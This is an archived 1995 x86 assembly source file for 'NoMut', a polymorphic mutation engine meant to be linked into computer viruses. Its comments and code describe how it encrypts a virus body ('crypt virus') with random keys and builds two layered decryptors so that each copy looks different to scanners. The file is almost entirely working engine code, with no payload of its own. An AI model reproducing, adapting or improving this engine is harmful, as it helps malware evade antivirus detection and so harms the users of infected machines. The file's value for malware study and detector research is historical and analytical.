HPAVC/HPAVC CD-ROM.iso/pc/PMUPDT13.ZIP/NOMUT.ZIP/NOMUT001.ASM

Assembly Source File | 1995-08-16 | 5.1 KB | 264 lines

;
;NoMut Version 0.01
;
;NoMut is a polymorphic engine like every other one with two major
;differences:
;        1. It doesn't generate junk instructions.
;        2. It generates two decryptors where the first
;           decrypts the second one.
;
;NoMut is utilised as an object file.  You can use following public symbols:
;- mutate : near    The work horse.
;- mylen  : offset  The size of the engine code.
;
;Mutate needs the following call parameters:
;        DS:SI   Pointer to the unencrypted code.
;        CX      Size of the unencrypted code.
;        BP      Offset the decryptor should work on later.
;        ES      Work segment.
;The decryptor is always created at ES:0.
;Mutate only produces this output:
;        CX      Size of encrypted code including decryptors.
;
;NoMut must always be run at the offset that is specified upon compilation.
;

.model small
.code

public mutate
public mylen

adr_reg         db      3,6,7           ; bx, si, di
adr2_reg        db      7,4,5
reg_1           dw      0
begin           dw      ?
count           dw      ?
addres1         dw      ?
addres2         dw      ?
cond_jmp        dw      ?
fix             dw      ?
loop_beg        dw      ?
code_ptr        dw      ?,?
e_val1          db      ?
e_met1          db      ?
e_val2          db      ?
e_met2          db      ?

extrn   random:near

; Input: DS:SI Code to crypt
;        CX size of code to crypt
;        BP running offset of decryptor
;        ES working segment
mutate:
assume  ds:nothing
    ; save params
    mov     code_ptr,si
    mov     code_ptr+2,ds
assume  ds:dgroup
    push    cs
    pop     ds
    mov     count,cx
    mov     begin,bp
    ; generate randoms
    mov     ah,2
    call    random
    mov     byte ptr reg_1,al
    mov     ah,0feh
    call    random
    inc     al
    mov     e_val1,al
    mov     ah,1h
    call    random
    inc     al
    mov     e_met1,al
    xor     di,di
    call    generate
;       mov     bx,addres1
;       add     word ptr es:[bx],di
    mov     bx,addres2
    add     word ptr es:[bx],di
    mov     bx,fix
    sub     word ptr es:[bx],di
    add     begin,di
    push    di
    mov     al,e_val1
    mov     e_val2,al
    mov     al,e_met1
    mov     e_met2,al
retry_e:
    mov     ah,0feh
    call    random
    inc     al
    cmp     al,e_val2
    je      retry_e
    mov     e_val1,al
    mov     ah,1h
    call    random
    mov     e_met1,al
    call    generate
    pop     bx
    cld
assume  ds:nothing
    ; crypt second decryptor
    push    di
    mov     ax,es
    mov     ds,ax
    mov     cx,di
    mov     di,bx
    mov     si,di
    sub     cx,di
    mov     ah,e_val2
encr_l1:
    lodsb
    cmp     e_met2,1
    jz      add_1
    xor     al,ah
    jmp     done_1
add_1:
    sub     al,ah
done_1:
    stosb
    loop    encr_l1
    pop     di
    ; crypt virus
    lds     si,dword ptr code_ptr
    mov     cx,count
    mov     bl,e_val2
    xor     bh,e_val1
encr_loop:
    lodsb
    cmp     e_met1,1
    jz      add_2
    xor     al,bh
    jmp     done_2
add_2:
    sub     al,bh
done_2:
    cmp     e_met2,1
    jz      add_3
    xor     al,bl
    jmp     done_3
add_3:
    sub     al,bl
done_3:
    stosb
    loop    encr_loop

    mov     cx,di
    ret

generate:
    ; generate address init
    mov     bx,reg_1
    cld
    mov     al,0B8h
    or      al,adr_reg[bx]
    stosb
    mov     addres1,di
    add     di,2                    ; keep free
    ; store loop_beg
    mov     loop_beg,di
    ; generate address test
    mov     ax,0F881h
    or      ah,adr_reg[bx]
    stosw
    mov     addres2,di
    add     di,2                    ; keep free
    ; generate JNE
    mov     al,75h
    stosb
    mov     cond_jmp,di
    inc     di                      ; keep free
    ; generate fix
    mov     ax,8081h
    mov     bx,reg_1
    or      ah,adr2_reg[bx]
    stosw
    mov     fix,di
    add     di,4                    ; keep free
;       mov     al,53h
;       stosb
;       mov     ax,000BBh
;       stosw
;       mov     ax,0C601h
;       stosw
;       mov     ax,0C307h
;       stosw
;       mov     ax,0d3FFh
;       stosw
;       mov     al,5bh
;       stosb
    ; generate Prefetch Queue-Cleaner
    mov     al,0EBh
    stosb
    mov     ax,9001h
    stosw
    ; fix conditional jump
    mov     ax,di
    push    di
    mov     di,cond_jmp
    sub     ax,di
    dec     ax
    stosb
    pop     di

    ; generate decoder
    ; just XOR now
    mov     bx,reg_1
    mov     ax,3080h
    cmp     e_met1,1
    jnz     done_4
    mov     ah,00h
done_4:
    or      ah,adr2_reg[bx]
    stosw
    mov     al,e_val1
    stosb

    ; generate increase address
    mov     al,40h
    or      al,adr_reg[bx]
    stosb
    ; generate jump back
    mov     al,0E9h
    stosb
    mov     cx,di                   ; later used for inserting in fix
    mov     ax,loop_beg
    sub     ax,di
    dec     ax
    dec     ax
    stosw
    ; save pos right after decryptor
    push    di
    ; fix the fix
;       mov     ax,cx
;       add     ax,bp
    mov     ax,cx
    sub     ax,count
    sub     ax,di
    mov     cx,di
    mov     di,fix
    stosw
    mov     ax,cx
    sub     ax,loop_beg
    stosw
    ; fix address in adress init
    mov     di,addres1
    mov     ax,cx
    add     ax,bp
    stosw
    ; fix address in compare
    mov     di,addres2
    add     ax,count
    stosw
    ; restore pos after decryptor
    pop     di
    ret


mylen:

end